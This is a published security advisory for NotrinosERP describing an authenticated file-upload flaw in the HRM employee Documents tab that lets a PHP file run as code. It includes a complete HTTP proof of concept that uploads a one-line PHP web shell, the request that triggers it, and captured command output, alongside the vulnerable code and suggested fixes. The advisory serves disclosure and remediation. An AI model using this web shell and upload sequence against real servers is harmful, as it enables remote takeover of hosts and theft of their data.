GHSA-QV4M-M73M-8HJ7
Vulnerability from github – Published: 2026-07-10 19:34 – Updated: 2026-07-10 19:34Summary
An authenticated user with the HR "Manage Employees" permission (SA_EMPLOYEE) can upload a file with an arbitrary extension through the employee Documents tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a .php file is stored under the web root and executes as code, yielding remote code execution on the server.
Details
The document-upload branch in hrm/manage/employees.php (function tab_documents()) moves the uploaded file using the client filename verbatim:
// hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }
There is no extension allow-list, getimagesize(), MIME check, or content inspection on this path. Contrast this with the profile photo (pic) upload in the same file, which validates image type/extension/size, and with core includes/ui/attachment.inc, which deliberately generates a random extension-less name (uniqid()) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.
Reachability of the written file:
- company_path() resolves under the web root; config.default.php sets
$comp_path = $path_to_root.'/company', so uploads land in company/0/documents/employees/.
- The only .htaccess in the project is the repo-root one, which denies .inc/.po/.sh/.pem/.sql/.log
only — it does not block .php and does not cover company/.
- The stored path is then echoed unescaped into a clickable "View" link
(hrm/includes/ui/employee_ui.inc lines 153-154 — file_path concatenated straight into href),
handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).
A crafted multipart filename containing ../ additionally enables path traversal (CWE-22) on PHP builds that do not basename ['name'].
Proof of Concept
The upload is gated by authentication and CSRF, but neither gates the file itself. Prerequisites: an authenticated session with SA_EMPLOYEE; an existing employee (employee_no); a valid doc_type_id; and the session CSRF token. The CSRF field is _token (validated bycheck_csrf_token() against $_SESSION['csrf_token']), so first GET the Documents form to read the
hidden _token, then submit. Against your own local instance:
POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <your-local-instance>
Cookie: <authenticated session>
Content-Type: multipart/form-data; boundary=b
--b
Content-Disposition: form-data; name="_token"
<value of the hidden _token field from the GET response>
--b
Content-Disposition: form-data; name="doc_type_id"
<a valid document type id>
--b
Content-Disposition: form-data; name="doc_name"
x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"
Save Document
--b--
Then request the stored file (its exact path is shown in the Documents tab's "View" link):
GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1
The command in c executes on the server.
Validation (performed locally, no network)
The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's verbatim path/move logic wrote company/0/documents/employees/1_<ts>_shell.php (attacker-chosen .php extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:
$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../<same>.php?c=uname%20-sm;whoami'
Darwin arm64
<user>
Caveats: (1) the harness used copy() in place of move_uploaded_file() because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (poc/rce_demo.php); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root .htaccess does not block .php and does not cover company/. The full HTTP flow additionally requires the auth + _token + doc_type_id prerequisites above, none of which inspect the file.
Impact
Remote code execution on the hosting server by any authenticated operator holding the delegable SA_EMPLOYEE role (not necessarily an administrator). If a deployment grants SA_EMPLOYEE only to administrators, treat privileges-required as High (CVSS ≈ 7.2).
Suggested fix
- Never use the client filename on disk. Store with a server-generated name and no executable
extension (mirror
includes/ui/attachment.inc'suniqid()approach); keep the original name only as a DB label. - Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the
picbranch already does. - Store uploads outside the web root, or drop an
.htaccess/web.configincompany/*/documents/that disables script execution (php_admin_flag engine off,RemoveHandler .php,SetHandler none). htmlspecialchars()the stored path before emitting the "View" link (fixes the secondary XSS).
Resources / credit
- Affected code:
hrm/manage/employees.php,hrm/includes/db/employee_document_db.inc,hrm/includes/ui/employee_ui.inc. - Reported by: <Kasper Hong / Kasper Builds>.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "notrinos/notrinos-erp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:34:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "#### Summary\nAn authenticated user with the HR \"Manage Employees\" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename \u2014 extension intact \u2014 into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server.\n\n#### Details\nThe document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim:\n\n```php\n// hrm/manage/employees.php -\u003e tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)\n$upload_dir = company_path().\u0027/documents/employees\u0027;\nif (!file_exists($upload_dir))\n mkdir($upload_dir, 0777, true);\n$file_path = $upload_dir.\u0027/\u0027.$employee_id.\u0027_\u0027.time().\u0027_\u0027.$_FILES[\u0027doc_file\u0027][\u0027name\u0027];\nif (!move_uploaded_file($_FILES[\u0027doc_file\u0027][\u0027tmp_name\u0027], $file_path)) { ... }\n```\n\nThere is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.\n\nReachability of the written file:\n- `company_path()` resolves under the web root; `config.default.php` sets\n `$comp_path = $path_to_root.\u0027/company\u0027`, so uploads land in `company/0/documents/employees/`.\n- The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log`\n only \u2014 it does **not** block `.php` and does **not** cover `company/`.\n- The stored path is then echoed **unescaped** into a clickable \"View\" link\n (`hrm/includes/ui/employee_ui.inc` lines 153-154 \u2014 `file_path` concatenated straight into `href`),\n handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).\n\nA crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `[\u0027name\u0027]`.\n\n#### Proof of Concept\nThe upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION[\u0027csrf_token\u0027]`), so first GET the Documents form to read the\nhidden `_token`, then submit. Against your **own** local instance:\n\n```http\nPOST /hrm/manage/employees.php?employee_no=1\u0026_tabs_sel=tab_documents HTTP/1.1\nHost: \u003cyour-local-instance\u003e\nCookie: \u003cauthenticated session\u003e\nContent-Type: multipart/form-data; boundary=b\n\n--b\nContent-Disposition: form-data; name=\"_token\"\n\n\u003cvalue of the hidden _token field from the GET response\u003e\n--b\nContent-Disposition: form-data; name=\"doc_type_id\"\n\n\u003ca valid document type id\u003e\n--b\nContent-Disposition: form-data; name=\"doc_name\"\n\nx\n--b\nContent-Disposition: form-data; name=\"doc_file\"; filename=\"shell.php\"\nContent-Type: application/x-php\n\n\u003c?php system($_GET[\u0027c\u0027]); ?\u003e\n--b\nContent-Disposition: form-data; name=\"save_document\"\n\nSave Document\n--b--\n```\n\nThen request the stored file (its exact path is shown in the Documents tab\u0027s \"View\" link):\n\n```http\nGET /company/0/documents/employees/1_\u003cunix_ts\u003e_shell.php?c=id HTTP/1.1\n```\n\nThe command in `c` executes on the server.\n\n#### Validation (performed locally, no network)\nThe code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler\u0027s **verbatim** path/move logic wrote `company/0/documents/employees/1_\u003cts\u003e_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:\n\n```\n$ curl \u0027.../company/0/documents/employees/1_1783671979_shell.php?c=id\u0027\nuid=501(...) gid=20(staff) ...\n$ curl \u0027.../\u003csame\u003e.php?c=uname%20-sm;whoami\u0027\nDarwin arm64\n\u003cuser\u003e\n```\n\nCaveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file \u2014 the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP\u0027s built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file.\n\n#### Impact\nRemote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privileges-required as High (CVSS \u2248 7.2).\n\n#### Suggested fix\n- Never use the client filename on disk. Store with a server-generated name and **no executable\n extension** (mirror `includes/ui/attachment.inc`\u0027s `uniqid()` approach); keep the original name\n only as a DB label.\n- Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic`\n branch already does.\n- Store uploads outside the web root, or drop an `.htaccess`/`web.config` in\n `company/*/documents/` that disables script execution (`php_admin_flag engine off`,\n `RemoveHandler .php`, `SetHandler none`).\n- `htmlspecialchars()` the stored path before emitting the \"View\" link (fixes the secondary XSS).\n\n#### Resources / credit\n- Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`.\n- Reported by: **\u0026lt;Kasper Hong / Kasper Builds\u0026gt;**.",
"id": "GHSA-qv4m-m73m-8hj7",
"modified": "2026-07-10T19:34:03Z",
"published": "2026-07-10T19:34:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/notrinos/NotrinosERP/security/advisories/GHSA-qv4m-m73m-8hj7"
},
{
"type": "PACKAGE",
"url": "https://github.com/notrinos/NotrinosERP"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee \"Documents\" (doc_file)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.